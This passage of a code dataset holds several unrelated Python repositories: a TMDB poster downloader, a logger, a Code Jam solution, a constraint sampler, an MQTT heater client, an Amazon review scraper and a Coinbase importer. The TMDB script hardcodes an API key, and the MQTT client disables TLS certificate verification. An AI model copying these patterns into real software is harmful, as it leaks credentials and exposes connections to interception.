404):\n print(\"Error opening page \", page)\n elif (status_code == 200):\n response = response.read()\n resp_dict = json.loads(response.decode('utf-8'))\n for data in resp_dict[\"results\"]:\n movie_id_arr.append(data[\"id\"])\n movie_title_arr.append(data[\"title\"])\n wget.download(basePosterURL + data.get('poster_path') , out=imgFolderCacheName + '/' +str(data[\"id\"])+ \".png\" )\n genre = list(map(genreIdToStr, data['genre_ids']))\n GenreList = genre\n if \"Action\" in genre:\n Action.append(1)\n else:\n Action.append(0)\n if \"Adventure\" in genre:\n Adventure.append(1)\n else:\n Adventure.append(0)\n if \"Animation\" in genre:\n Animation.append(1)\n else:\n Animation.append(0)\n if \"Biography\" in genre:\n Biography.append(1)\n else:\n Biography.append(0)\n if \"Comedy\" in genre:\n Comedy.append(1)\n else:\n Comedy.append(0)\n if \"Crime\" in genre:\n Crime.append(1)\n else:\n Crime.append(0)\n if \"Documentary\" in genre:\n Documentary.append(1)\n else:\n Documentary.append(0)\n if \"Drama\" in genre:\n Drama.append(1)\n else:\n Drama.append(0)\n if \"Family\" in genre:\n Family.append(1)\n else:\n Family.append(0)\n if \"Fantasy\" in genre:\n Fantasy.append(1)\n else:\n Fantasy.append(0)\n if \"History\" in genre:\n History.append(1)\n else:\n History.append(0)\n if \"Horror\" in genre:\n Horror.append(1)\n else:\n Horror.append(0)\n if \"Music\" in genre:\n Music.append(1)\n else:\n Music.append(0)\n if \"Musical\" in genre:\n Musical.append(1)\n else:\n Musical.append(0)\n if \"Mystery\" in genre:\n Mystery.append(1)\n else:\n Mystery.append(0)\n if \"N/A\" in genre:\n NA.append(1)\n else:\n NA.append(0)\n if \"News\" in genre:\n News.append(1)\n else:\n News.append(0)\n if \"Reality-TV\" in genre:\n RealityTV.append(1)\n else:\n RealityTV.append(0)\n if \"Romance\" in genre:\n Romance.append(1)\n else:\n Romance.append(0)\n if \"Sci-Fi\" in genre:\n SciFi.append(1)\n else:\n SciFi.append(0)\n if \"Short\" in genre:\n Short.append(1)\n else:\n Short.append(0)\n if \"Sport\" in genre:\n Sport.append(1)\n else:\n Sport.append(0)\n if \"Thriller\" in genre:\n Thriller.append(1)\n else:\n Thriller.append(0)\n if \"War\" in genre:\n War.append(1)\n else:\n War.append(0)\n if \"Western\" in genre:\n Western.append(1)\n else:\n Western.append(0)\n movieDf = pd.DataFrame({\n \"MoviesId\": movie_id_arr,\n \"Title\": movie_title_arr,\n \"GenreList\": GenreList,\n \"Action\": Action,\n \"Adventure\": Adventure,\n \"Animation\": Animation,\n \"Biography\": Biography,\n \"Comedy\": Comedy,\n \"Crime\": Crime,\n \"Documentary\": Documentary,\n \"Drama\": Drama,\n \"Family\": Family,\n \"Fantasy\": Fantasy,\n \"History\": History,\n \"Horror\": Horror,\n \"Music\": Music,\n \"Musical\": Musical,\n \"Mystery\": Mystery,\n \"N/A\": NA,\n \"News\": News,\n \"Reality-TV\": RealityTV,\n \"Romance\": Romance,\n \"Sci-Fi\": SciFi,\n \"Short\": Short,\n \"Sport\": Sport,\n \"Thriller\": Thriller,\n \"War\": War,\n \"Western\": Western,\n })\n print('--------- Download Complete CSV Formed --------')\n\n movieDf.to_csv('train.csv', index=False)\n\n print('--------- Download Images ----------------')\n\n\n getStatistics()\n\n\n\ndef UpdateDataImages():\n\n\n df = pd.read_csv(\"train.csv\")\n\n moviesId = df.MoviesId.to_list()\n imgFolderCacheName = \"PosterCache\"\n if not os.path.exists(imgFolderCacheName):\n os.makedirs(imgFolderCacheName)\n\n imgFolderCacheName = os.getcwd()+\"\\\\\" + imgFolderCacheName\n # imgFolderCacheName = imgFolderCacheName.replace(\"\\\\\", \"/\")\n basePosterURL = \"https://image.tmdb.org/t/p/w370_and_h556_bestv2\"\n ApiKey = \"38822594572ba49838eb67eec9246d29\"\n NoPosters = []\n\n for i in tqdm(range(len(moviesId))):\n if(not os.path.exists(imgFolderCacheName + '/' +str(moviesId[i])+ \".png\")) : \n poster_url = \"https://api.themoviedb.org/3/find/\"+str(moviesId[i])+\"?api_key=\"+ApiKey+\"&external_source=imdb_id\"\n urlFile = urllib.request.urlopen(poster_url).read()\n # print(URLFILE)\n resp_dict = json.loads(urlFile)\n if(len(resp_dict[\"movie_results\"])>0):\n linkdata = resp_dict.get(\"movie_results\")[0].get('poster_path')\n if(linkdata is None):\n print(\"\\n Movie Poster not Found (None) : \" + str(moviesId[i]))\n NoPosters.append(moviesId[i])\n df.drop(index=i, axis=0, inplace=True)\n else :\n poster_filename = wget.download(basePosterURL + linkdata , out=imgFolderCacheName + '/' +str(moviesId[i])+ \".png\" )\n \n # os.rename(poster_filename, imgFolderCacheName +'/' + moviesId[i]+ '.png')\n # print(poster_filename)\n else:\n print(\"\\n Movie not found : \" + str(moviesId[i]))\n NoPosters.append(moviesId[i])\n df.drop(index=i, axis=0, inplace=True)\n # elif(len(resp_dict[\"movie_results\"])>0):\n # print()\n \n\n # for i in tqdm(range(len(NoPosters))):\n # # df = df.drop(df.query(\"id == \"+NoPosters[i]+\"\")).sample(frac=0.90).index)\n # # try:\n # df = df.drop([df.Id == NoPosters[i]].index, axis=0)\n # # except:\n # # print(\"\\n Problem With : \" + NoPosters[i])\n df.to_csv('new-train.csv', index=False)\n\n\n\n\n\n# print(df)\n\n\ndef getStatistics(): #to run on localMachine \n\n import numpy as np\n import matplotlib.pyplot as plt\n ''' Set up dataframe Display the data '''\n # Show Dateframe All right \n pd.set_option('display.max_rows',None)\n # Show Dateframe All columns ( Parameter set to None Represents the display of all lines , You can also set your own number )\n pd.set_option('display.max_columns',None)\n # Set up Dataframe Display length of data , The default is 50\n pd.set_option('max_colwidth',200)\n # prohibit Dateframe Word wrap ( Set to Flase Don't wrap ,True conversely )\n pd.set_option('expand_frame_repr', False)\n\n movie = pd.read_csv('train.csv')\n movie_list = [i.replace(']','').replace('[','').replace('\\'','').replace(\" \",\"\").split(\",\") for i in movie[\"GenreList\"]]\n single_movie_list = [j for i in movie_list for j in i]\n #2、 Then we need to know how many different kinds of movies there are , Then de duplicate the whole list \n fin_movie_list = np.unique(single_movie_list)\n print(fin_movie_list)\n #3、 We generate a two-dimensional matrix to store statistical information , The number of rows is the total number of rows of data , Columns represent different kinds of movie names ,i That's ok j The column represents i Has the row ever appeared j Columns of data \n zeros_matrix = np.zeros([movie.shape[0], fin_movie_list.shape[0]])\n data_matrix = pd.DataFrame(zeros_matrix, columns=fin_movie_list)\n # Traverse movie_list Get the movie name of each line of the original data \n # Add... To the corresponding movie name in the corresponding position 1, Count the number of times \n for i in range(len(movie.Id.to_list())):\n # str_list = movie_list[i]\n data_matrix.loc[i, movie_list[i]] = 1\n\n #4、 Sum each column of the matrix , Get the total number of times each movie appears , And then sort it \n genre = data_matrix.sum().sort_values(ascending=True)\n # print(genre)\n genre.plot(kind=\"bar\", colormap=\"cool\", figsize=(30, 15), fontsize=16)\n\n # genre.plot(kind=\"bar\", colormap=\"cool\", figsize=(30, 15), fontsize=16)\n\n plt.show()\n\n# getStatistics()\n\nUpdateDataSet()\n","repo_name":"Yeyvo/MyMovie","sub_path":"backend/Multi_Label_dataset/getTMDBPICS.py","file_name":"getTMDBPICS.py","file_ext":"py","file_size_in_byte":11622,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27553782164","text":"try:\n import codecs\nexcept ImportError:\n codecs = None\nimport time, os\nimport logging\nimport logging.handlers\n\ndef get_timedrotating_logger(log_filename='log.log', naming='MyLogger', level=logging.DEBUG, when='d', interval=1, backupCount=365):\n # Set up a specific logger with our desired output level \n logger = logging.getLogger(naming)\n logger.setLevel(level)\n\n # Add the log message handler to the logger \n formatter = logging.Formatter('%(asctime)s - %(filename)s:%(funcName)s:%(lineno)d - %(name)s - %(levelname)s - %(message)s')\n handler = logging.handlers.TimedRotatingFileHandler(log_filename, when=when, interval=interval, backupCount=backupCount,)\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n return logger\n\nclass MZTimedRotatingFileHandler(logging.handlers.TimedRotatingFileHandler):\n def __init__(self, dir_log, category, machineid, zone, project, module, when='d', interval=1):\n self.dir_log = dir_log\n self.category = category\n self.machineid = machineid\n self.zone = zone\n self.project = project\n self.module = module\n self.when = when\n self.interval = interval\n self.timeformat = '%Y%m%d%H%M%S'\n if self.when == 's':\n self.timeformat = '%Y%m%d%H%M%S'\n elif self.when == 'm':\n self.timeformat = '%Y%m%d%H%M'\n elif self.when == 'h':\n self.timeformat = '%Y%m%d%H'\n elif self.when == 'd':\n self.timeformat = '%Y%m%d'\n filename = os.path.join(self.dir_log, '%s-%s-%s-%s-%s-%s.log' %(time.strftime(self.timeformat), self.category, self.machineid, self.zone, self.project, self.module))\n logging.handlers.TimedRotatingFileHandler.__init__(self,filename, when=self.when, interval=self.interval, backupCount=0, encoding=None)\n\n def doRollover(self):\n \"\"\"\n TimedRotatingFileHandler remix - rotates logs on daily basis, and filename of current logfile is time.strftime(\"%m%d%Y\")+\".txt\" always\n \"\"\" \n self.stream.close()\n # get the time that this sequence started at and make it a TimeTuple\n t = self.rolloverAt - self.interval\n timeTuple = time.localtime(t)\n self.baseFilename = os.path.join(self.dir_log, '%s-%s-%s-%s-%s-%s.log' %(time.strftime(self.timeformat), self.category, self.machineid, self.zone, self.project, self.module))\n if self.encoding:\n self.stream = codecs.open(self.baseFilename, 'w', self.encoding)\n else:\n self.stream = open(self.baseFilename, 'w')\n self.rolloverAt = self.rolloverAt + self.interval\n\ndef get_mztimedrotating_logger(log_dir, category, machineid, zone, project, module, naming='MyLogger', level=logging.DEBUG, when='d', interval=1):\n # Set up a specific logger with our desired output level \n logger = logging.getLogger(naming)\n logger.setLevel(level)\n\n # Add the log message handler to the logger \n formatter = logging.Formatter('%(levelname)s [%(asctime)s] [%(created)f] [%(threadName)s] [%(name)s:%(funcName)s()] (%(filename)s:%(lineno)d) %(message)s')\n handler = MZTimedRotatingFileHandler(log_dir, category, machineid, zone, project, module, when, interval)\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n return logger\n\nif __name__ == '__main__':\n category = 'debug'\n machineid = '27'\n zone = 'cn'\n project = 'guard100'\n module = 'supervision77'\n\n logger = log4py.get_mztimedrotating_logger('.', category, machineid, zone, project, module, 'Supervision', when='m')\n logger.info('good')\n time.sleep(65)\n\n logger.info('better')\n time.sleep(65)\n \n time.sleep(65)\n logger.info('best')\n","repo_name":"sanlee42/vulcan","sub_path":"supervison/utils/log4py.py","file_name":"log4py.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10252928953","text":"# failed\n\n\nimport sys\nimport math\n\ndef read_str():\n return input()\n\ndef read_strs():\n return list(input().split())\n\ndef read_ints():\n return list(map(int, input().split()))\n\ndef read_int():\n return int(input())\n\n\ndef solve(case_no):\n line1con=read_str()\n wordlist=read_ints()\n\n result = []\n res = []\n\n for word in wordlist:\n temp = []\n i = 2\n\n while i * i <= word:\n if word % i == 0:\n temp.append(i)\n\n if word / i != i:\n temp.append(int(word / i))\n i += 1\n res.append(temp)\n for x in temp:\n if x not in result:\n result.append(int(x))\n\n result.sort()\n cyperdict = {}\n alpha = 'A'\n for x in result:\n cyperdict[x] = alpha\n alpha = chr(ord(alpha) + 1)\n fstring = ''\n j = 0\n while (j < len(res)):\n if (j == len(res) - 1):\n for x in res[j]:\n if (x in res[j - 1]):\n fstring += cyperdict[x]\n elif (x not in res[j - 1]):\n fstring += cyperdict[x]\n else:\n for x in res[j]:\n if (x not in res[j + 1]):\n fstring += cyperdict[x]\n j += 1\n\n print('Case #%d: %s' % (case_no, fstring))\n\n\ndef main():\n T, = read_ints()\n for t in range(T):\n solve(t+1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"xo28122000/codejam2k19","sub_path":"qualification_round/q3_final.py","file_name":"q3_final.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15991670040","text":"# -*- coding: utf-8 -*- \n\"\"\"\\\nApproximate homogenous sampling of a constrained volume\n\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import division\n\nfrom argparse import ArgumentParser\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport theano\nimport theano.tensor as tt\nimport pymc3 as pm\n\n\n\nTARGET_OVERSAMPLING = 20. # for initial landmarks, want to oversample by a factor of 20\n\n\ndef get_args():\n parser = ArgumentParser('sampler')\n parser.add_argument('input_file', help='The input file listing dimensionality and constraints')\n parser.add_argument('output_file', help='The output file to which to write sampled vectors')\n parser.add_argument('n_results', help='The number of points to sample in the space', type=int)\n parser.add_argument('--no_filter_warnings', help='Do not turn off theano warnings', action='store_true')\n\n return parser.parse_args()\n\n\ndef str2fx(xstr):\n \"\"\"\\\n Given a stringified constraint such as\n \n 1 - x[0] - x[1]\n \n convert it to a callable function\n\n :input xstr: A string representing a numerical constraint g(x) <= 0\n \n \"\"\"\n def f(x):\n return eval(xstr, {'__builtins__': None}, {'x': x } )\n return f\n\n\ndef read_constraints(fn):\n \"\"\"\\\n Grab the dimensionality and constraints from a given file. \n\n :input fn: Path to a file of the format:\n dim\n example_point\n g1(x)\n g2(x)\n # optional comments\n g3(x)\n ...\n\n :returns: A dictionary with the dimension and constraint objects\n \n \"\"\"\n gs = list()\n dim = 0\n for i, line in enumerate(open(fn)):\n if dim is 0:\n dim = int(line.strip())\n elif i == 1:\n assert len(line.strip().split()) == dim, 'Example point does not match dimensionality'\n elif line[0] != '#' and '>=' in line:\n gs.append(line.strip().split('>=')[0].strip())\n return {'dim': dim, \n 'constraints': gs, \n 'constraints_fx': [str2fx(c) for c in gs]}\n\n\ndef subset_accepting(X, constraint_fx):\n \"\"\"\\\n Given a set of points, and constrants g(x) [as callable functions], subset just to the\n points that fall into the valid volume\n\n :input X: a N x dim matrix of test points\n :input constraint_fx: a list of callable functions, evaluating to a scalar\n\n :returns: The subset of X for which every function in constraint_fx is >= 0\n \n \"\"\"\n # add in hypercube constraints\n constraints = constraint_fx + [(lambda x: x[i]) for i in range(X.shape[1])]\n constraints += [(lambda x: 1 - x[i]) for i in range(X.shape[1])]\n constraint_mat = np.vstack([np.apply_along_axis(c, 1, X) < 0 for c in constraints])\n in_region = np.logical_not(np.apply_along_axis(np.any, 0, constraint_mat))\n return X[in_region, :]\n\n\ndef uniform(dim, const_str, const_fx, K):\n \"\"\"\\\n Baseline uniform sampling on the hypercube\n\n :input dim: The dimensionality\n :input const_str: Constraint strings, included for API compatibility\n :input const_fx: Constraint callables, included for API compatibility\n :input K: Number of points to sample\n\n \"\"\"\n return np.random.uniform(size=(K, dim))\n\n\ndef MCMC(dim, const_str, const_fx, K, chains=3, cores=3):\n \"\"\"\\\n MCMC sampling, with potentials lowering the probability\n of drawing failing points\n\n :input dim: The dimensionality\n :input const_str: Constraint strings; used to define potentials\n :input const_fx: Constraint callables, included for API compatibility\n :input K: Number of points to sample\n :input chains: Number of independent MCMC chains to run\n :input cores: Number of CPU cores to run for parallelization\n\n :returns: A set of points X drawn from the potential -c*g_i; for c=[1, 10, 20].\n This involves three successive samplings, which should total K draws.\n\n \"\"\"\n lambda_values = [1, 10, 20]\n k = int(K/(chains*len(lambda_values)))\n Xvals = list()\n for lam in lambda_values:\n with pm.Model() as mod:\n x = pm.Uniform('x', shape=dim)\n for i, const in enumerate(const_str):\n cname = 'g%d' % i\n g = pm.Deterministic(cname, eval(const, {'__builtins__': None}, {'x': x } ))\n pname = '%s_pot' % cname\n pm.Potential(pname, tt.switch(tt.lt(g, 0), lam*g, 0))\n trace = pm.sample(k, tune=1000, chains=chains, cores=cores)\n Xvals.append(trace['x'])\n return np.vstack(Xvals)\n\n\ndef VINormal(dim, const_str, const_fx, K, nfit=30000):\n \"\"\"\\\n Normal (full-rank) sampling, fit with ADVI to a\n high-potential probability distribution\n\n\n\n :input dim: The dimensionality\n :input const_str: Constraint strings; used to define potentials\n :input const_fx: Constraint callables, included for API compatibility\n :input K: Number of points to sample\n :input nfit: Number of gradient iterations for variational inference\n\n :returns: A set of points X drawn from a N(μ,Σ); where the parameters are fit\n by variational inference to match the potential distribution formed\n by the potentials -c*g_i; for c=7500\n\n\n \"\"\"\n with pm.Model() as mod:\n x = pm.Uniform('x', shape=dim)\n for i, const in enumerate(const_str):\n cname = 'g%d' % i\n g = pm.Deterministic(cname, eval(const, {'__builtins__': None}, {'x': x } ))\n pname = '%s_pot' % cname\n pm.Potential(pname, tt.switch(tt.lt(g, 0), 7500*g, 0))\n fit_res = pm.fit(nfit, method='fullrank_advi', obj_n_mc=3)\n trace = fit_res.sample(K)\n return trace['x']\n\n\ndef switch_method(params, k_wanted):\n \"\"\"\\\n Determine an efficient method to use. \n\n High volume acceptance regions should juse use plain rejection sampling, \n to minimize bias.\n\n Moderate volume regions should use potential+NUTS to boost acceptance\n rate and keep approximate uniformity in region.\n\n Low volume regions should use variational inference to track to the mode.\n\n :input params: The setting parameters (dimension, constraints, constraint functions)\n (a dictionary)\n :input k_wanted: The number of samples the user wants provided\n\n :returns: A callable function with the arguments (dim, constraints, constraint functions, K, *args)\n corresponding to the (likely) most efficient means of sampling\n\n \"\"\"\n Xtest = uniform(params['dim'], params['constraints'], params['constraints_fx'], K=10000)\n Xtest = subset_accepting(Xtest, params['constraints_fx'])\n p_accept = Xtest.shape[0]/10000.\n if p_accept == 0.:\n print('Warning: Acceptance volume < 0.1%; region may be infeasible\\n Method: VI')\n return VINormal\n else:\n print('Estimated volume: %.2f%%' % (100*p_accept))\n K_to_sample = k_wanted * TARGET_OVERSAMPLING / p_accept\n if K_to_sample < 10**5:\n print(' Method: Uniform')\n return uniform\n elif K_to_sample < 10**7:\n print(' Method: MCMC')\n return MCMC\n print(' Method: VI')\n return VINormal\n\n\ndef sample_until(sampler, params, K, maxit=5):\n \"\"\"\\\n Given a sampler and a target number of valid points, call the sampler\n until at least 80%% of that target is reached.\n\n :input sampler: A callable sampling function (see `switch_method`)\n :input params: The setting parameters (see `switch_method`)\n :input K: The desired number of valid points\n :input maxit: The maximum number of iterations\n\n :returns: A matrix of valid points sampled from the region\n :raises: ValueError if no valid points were found\n\n \"\"\"\n X = sampler(params['dim'], params['constraints'], params['constraints_fx'], K*2)\n X_acc = subset_accepting(X, params['constraints_fx'])\n for _ in range(maxit):\n if X_acc.shape[0] > 0.8*K:\n break\n X_new = sampler(params['dim'], params['constraints'], params['constraints_fx'], K)\n X_acc = np.vstack([X_acc, subset_accepting(X_new, params['constraints_fx'])])\n if X_acc.shape[0] == 0:\n raise ValueError('No valid points identified after %d iterations. Check that region is feasible.' % maxit)\n return X_acc\n\n\ndef get_landmarks(X, constraint_fx, forget=3, k_landmarks=1000):\n \"\"\"\\\n Given a set of points X, subset to a set of `k_landmarks` landmark points,\n chosen greedily at each step to maximize the total distance.\n\n :input X: A set of points\n :input constraint_fx: A list of callable constraints, g, such that g(x) > 0 represents validity\n :input forget: Perform this many \"choose most distant point\" iterations before starting\n :input k_landmarks: The desired number of landmarks\n\n :returns: A matrix X, with `k_landmarks` rows, containing the thinned and homogenized\n landmarks of X\n \"\"\"\n Xp = subset_accepting(X, constraint_fx)\n landmark_set = list()\n landmark_dist = np.zeros((Xp.shape[0],))\n # initialize\n idx = np.random.randint(Xp.shape[0])\n landmark_dist = np.linalg.norm(Xp-Xp[idx,:], axis=1)\n for _ in range(forget):\n idx = np.argmax(landmark_dist)\n landmark_dist = np.linalg.norm(Xp-Xp[idx,:], axis=1)\n landmark_set.append(idx)\n for j in range(1, k_landmarks):\n idx = np.argmax(landmark_dist)\n landmark_dist = np.minimum(landmark_dist, np.linalg.norm(Xp-Xp[idx,:],axis=1))\n landmark_set.append(idx)\n return Xp[np.array(landmark_set),:]\n\n\ndef meddist(X_pass):\n \"\"\"Calculate median distance between point pairs in X_pass\"\"\"\n return np.median(sp.spatial.distance_matrix(X_pass, X_pass))\n\n\ndef as_theano_f(const):\n \"\"\"\\\n Convert a formula string (0.07 + x[0]*x[1])/(0.02 + x[2]) to a callable function\n which will work within a theano context to broadcast along rows, i.e.\n\n (0.07 + x[:,0]*x[:,1])/(0.02 + x[:,2])\n\n :input const: The string representing the constraint\n\n \"\"\"\n const = const.replace('[', '[:,')\n def g(Xo):\n return eval(const, {'__builtins__': None}, {'x': Xo} )\n return g\n\n\ndef refine_landmarks(X, constraint_str, iters):\n \"\"\"\\\n Refine a set of *valid* points X by directly maximizing the average inter-point distance;\n subject to boundary functions.\n\n ** No checking is performed on the validity of X **\n\n :input X: A matrix of valid points (all constraints > 0)\n :input constraint_str: The list of constraint strings for the target volume\n :input iters: The number of gradient descent iterations\n\n :returns: A matrix of refined points; some of which will now be invalid; but\n of which the *valid* points should be more homogenous than\n the inputs\n\n \"\"\"\n theano.config.compute_test_value = 'ignore'\n Xi = tt.matrix('base_input')\n Delta = theano.shared(0*X)\n Xo = Xi + Delta\n dif = Xo.reshape((Xo.shape[0], 1, -1)) - Xo.reshape((1, Xo.shape[0], -1))\n cost_dist = -(dif**2).sum()\n cost = cost_dist\n for const in constraint_str:\n g = as_theano_f(const)(Xo)\n cost_g = 1/(4*g)\n cost += cost_g.sum()\n # don't forget to add in the hypercube constraints!\n for j in range(X.shape[1]):\n h = Xo[:,j]\n h2 = 1 - Xo[:,j]\n cost_h = 1/(4*h) + 1/(4*h2)\n cost += cost_h.sum()\n dim_adj = min(1., 4./X.shape[1])\n # ideally this would be some more automatic method like ADAM\n alpha = np.var(X)*1e-7*dim_adj**2 # smaller learning rate in higher dimensions and narrower regions\n grad_updates = [(Delta, Delta - alpha * theano.grad(cost, Delta))]\n train = theano.function([Xi],cost_dist,updates=grad_updates)\n for _ in range(iters):\n energy = train(X)\n if ( _ % (int(iters/5)) == 0 ):\n print('Energy: %.2e' % energy)\n to_ret = theano.function([Xi], Xo)(X)\n theano.config.compute_test_value = 'raise'\n return to_ret\n\n\ndef main(args):\n if not args.no_filter_warnings:\n import warnings\n warnings.filterwarnings(\"ignore\")\n space_info = read_constraints(args.input_file)\n method = switch_method(space_info, args.n_results)\n init_points = sample_until(method, space_info, 1 + int(args.n_results * TARGET_OVERSAMPLING))\n success, landmark_rate, l_iter = False, 1.01, 100 * min(1, 4./init_points.shape[1])\n raw_landmarks = get_landmarks(init_points, space_info['constraints_fx'], k_landmarks=args.n_results)\n while not success:\n landmarks = get_landmarks(init_points, space_info['constraints_fx'], k_landmarks=1+int(landmark_rate*args.n_results))\n landmarks = refine_landmarks(landmarks, space_info['constraints'], 1 + int(l_iter))\n landmarks = get_landmarks(landmarks, space_info['constraints_fx'], k_landmarks=args.n_results)\n landmark_rate = landmark_rate * 1.01\n success = landmarks.shape[0] == args.n_results\n H_raw, H_lm = meddist(raw_landmarks), meddist(landmarks)\n print('Raw samples: %.3e, Refined: %.3e (delta: %.2f%%)' % (H_raw, H_lm, 100*(H_lm-H_raw)/H_lm))\n data = pd.DataFrame(landmarks) if H_lm > H_raw else pd.DataFrame(raw_landmarks)\n data.columns = ['X%d' % j for j in range(data.shape[1])]\n data.to_csv(args.output_file, sep='\\t', index=False)\n\n\nif __name__ == '__main__':\n main(get_args())\n\n\n","repo_name":"chartl/constrained-sampler","sub_path":"sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":13364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15604108137","text":"import paho.mqtt.client as mqtt\nimport time\nimport ssl\n\ncl_name=\"heater\"\nserver=input(\"Enter the IP address of the IoT server: \")\nuser=input(\"Enter the username: \")\npassw=input(\"Enter the password: \")\n\ndef connectCallback(c, userdata, flags, rc):\n if rc==0:\n client.connected_flag=True #set flag\n print(\"Connected to the server\")\n print(str(rc))\n else:\n print(\"Bad connection Returned code=\",rc)\n client.bad_connection_flag=True\n\ndef msgCallback(c, userdata, message):\n print(\"Message recieved: %s, in topic %s\"%(message.payload, message.topic))\n userdata[\"temperature_level\"]=float(message.payload)\n\nstatus={\"heater_on\":False, \"temperature_level\":0 }\n\nclient =mqtt.Client(cl_name, userdata=status)\nmqtt.Client.connected_flag=False\nmqtt.Client.bad_connection_flag=False\nclient.username_pw_set(user,passw)\nclient.tls_set(ca_certs=\"/root/ca.crt\",cert_reqs=ssl.CERT_NONE, tls_version=2)\nclient.on_connect=connectCallback\nprint(\"Connecting to server \",server)\n\nclient.loop_start()\n\ntry:\n client.connect(server,8883)\n while not client.connected_flag:\n print(\"Waiting for connection\")\n time.sleep(1)\nexcept:\n print(\"Connection Failed\")\n exit(\"Quitting\")\n\nthreshold=18\n\nwhile True:\n\n time.sleep(10)\n client.subscribe(\"room/temperature\")\n client.on_message=msgCallback\n if status[\"temperature_level\"] == 0:\n print(\"Loading...\")\n elif status[\"temperature_level\"] < threshold:\n status[\"heater_on\"]=True\n client.publish(\"heater/status\",1)\n client.publish(\"heater/temperature_level\",status[\"temperature_level\"])\n print(\"Current temperature is %s and the heater is ON\"%status[\"temperature_level\"])\n else:\n status[\"heater_on\"]=False\n client.publish(\"heater/status\",0)\n client.publish(\"heater/temperature_level\",status[\"temperature_level\"])\n print(\"Current temperature is %s and the heater is OFF\"%status[\"temperature_level\"])\n\n\nclient.loop_stop()\nclient.disconnect","repo_name":"padgaonkan/Secure_Home_Automation","sub_path":".idea/room_heating/heater/actuator/heater.py","file_name":"heater.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9962126500","text":"\"\"\"\r\n- Create a script called amazon.py\r\n\r\n- The script should include a function called scrape().\r\n\r\n- The function should accept a single parameter: the link to an amazon product.\r\n\"\"\"\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom pprint import pprint\r\n\r\n\r\ndef scrape(url):\r\n data = []\r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'\r\n ' AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',\r\n 'referer': 'https://www.google.com/'\r\n }\r\n response = requests.get(url, headers=headers)\r\n soup = BeautifulSoup(response.content, 'html.parser')\r\n user_name = soup.find_all('span', 'a-profile-name')\r\n user_stars = soup.find_all('span', 'a-icon-alt')\r\n user_review = soup.find_all('span', 'review-text-content')\r\n\r\n for name, stars, review in zip(user_name, user_stars, user_review):\r\n data.append({\r\n 'Name': name.get_text(strip=True),\r\n 'Stars': stars.get_text(strip=True),\r\n 'Review': review.get_text(strip=True)\r\n })\r\n return data\r\n\r\n\r\nif __name__ == '__main__':\r\n for i in range(1, 121):\r\n reviews = scrape(f\"https://www.amazon.com/Sennheiser-Momentum-Cancelling-Headphones-Functionality/\"\r\n f\"product-reviews/B07VW98ZKG/ref=cm_cr_arp_d_paging_btm_next_11?ie=UTF8&reviewerType=\"\r\n f\"all_reviews&pageNumber={i}\")\r\n if not reviews:\r\n break\r\n pprint(reviews)\r\n","repo_name":"89885512495/UpWork","sub_path":"amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38196282957","text":"\"\"\"Importer for Coinbase \"TransactionHistoryReport\" csv's. Derived from\n UTrade example by Martin Blais.\n\"\"\"\n__copyright__ = \"Copyright (C) 2023 Eric Altendorf\"\n__license__ = \"GNU GPLv2\"\n\nimport csv\nimport datetime\nimport logging\nimport re\nfrom decimal import Decimal\nfrom os import path\nfrom typing import NamedTuple\n\nimport dateutil.parser\n\nimport beangulp\nfrom beancount.core import account, amount, data, flags, position\nfrom beancount.core.position import Cost\nfrom beancount.core.amount import Amount\nfrom beancount.core.number import ZERO, D\nfrom beangulp.testing import main\nfrom magicbeans import common\nfrom magicbeans.transfers import Link, Network\n\n\ndef coinbase_data_reader(reader):\n \"\"\"A wrapper for a FileReader which will skip Coinbase CSV header cruft\"\"\"\n found_content = False\n for line in reader:\n if line.startswith(\"Timestamp,Transaction Type,Asset,Quantity Transacted,\"):\n found_content = True\n if found_content:\n yield line\n\nclass CoinbaseImporter(beangulp.Importer):\n \"\"\"An importer for Coinbase CSV files.\"\"\"\n\n def __init__(self, account_root, account_gains, account_fees, network: Network):\n self.account_root = account_root\n self.account_gains = account_gains\n self.account_fees = account_fees\n self.network = network\n\n def name(self) -> str:\n return 'Coinbase'\n\n def identify(self, filepath):\n filename_re = r\"^Coinbase-.*TransactionsHistoryReport-\" \\\n r\"\\d\\d\\d\\d-\\d\\d-\\d\\d-\\d\\d-\\d\\d-\\d\\d.csv$\"\n if not re.match(filename_re, path.basename(filepath)):\n return False\n \n expected_header = '\"You can use this transaction report to inform ' \\\n 'your likely tax obligations.'\n if not common.file_begins_with(filepath, expected_header):\n return False\n \n return True\n\n def filename(self, filepath):\n return \"coinbase.{}\".format(path.basename(filepath))\n\n def account(self, filepath):\n return self.account_root\n\n def date(self, filepath):\n # Extract the statement date from the filename.\n date_re = r\"Coinbase-.*TransactionsHistoryReport-\" \\\n r\"(\\d\\d\\d\\d-\\d\\d-\\d\\d)-\\d\\d-\\d\\d-\\d\\d.csv\"\n m = re.match(date_re, path.basename(filepath))\n return datetime.datetime.strptime(m.group(1), \"%Y-%m-%d\").date()\n\n def extract(self, filepath, existing):\n # Open the CSV file and create directives.\n entries = []\n index = 0\n with open(filepath) as infile:\n # TODO: this reader wrapper breaks the line numbers\n reader = coinbase_data_reader(infile)\n for index, row in enumerate(csv.DictReader(reader)):\n meta = data.new_metadata(filepath, index)\n\n timestamp = dateutil.parser.parse(row[\"Timestamp\"])\n date = timestamp.date()\n rtype = row[\"Transaction 